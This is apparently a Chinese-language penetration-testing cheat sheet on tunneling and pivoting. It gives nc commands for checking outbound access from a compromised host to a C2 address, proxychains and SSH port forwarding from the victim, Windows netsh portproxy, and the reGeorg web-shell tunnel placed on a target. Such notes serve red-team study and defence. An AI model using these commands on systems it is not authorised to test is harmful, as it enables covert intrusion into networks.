常 見tunnel分類
網路分層 | 協定 |
---|
應用層 | ssh, http, https, DNS |
傳輸層 | TCP, UDP |
網路層 | IPv6, ICMP, GRE |
探測出網
TCP
- compromised:
nc -nv <C2 ip> <port>
- attacker:
nc -lvp <port>
UDP
- compromised:
nc -nv <C2 ip> <port>
- attacker:
nc -nlvp <port>
Proxy chain
- Proxy Chains
- sudo vim /etc/proxychains4.conf
- socks5 127.0.0.1 9487
- USAGE:
proxychains <command>
ssh tunneling
- SSH Tunnel
- Remote Port Forwarding:
ssh -R kali:<port> user@linux host
(受害主機)
- Dynamic Port Forwarding:
ssh –D 127.0.0.1:9487 user@hostA
(受害主機)
- socks server
Chisel
netsh portproxy (Windows)
netsh interface portproxy add v4tov4 listenaddress=<ip> listenport=<port> connectaddress=<tgt_ip> connectport=<tgt_port>
reGeorg (AV會抓)
https://github.com/sensepost/reGeorg
- tunnel.ashx 放在目標機上
- 攻擊機上執行:python2 reGeorgSocksProxy.py -u 'url' -p 'port'
Neo-reGeorg
Venom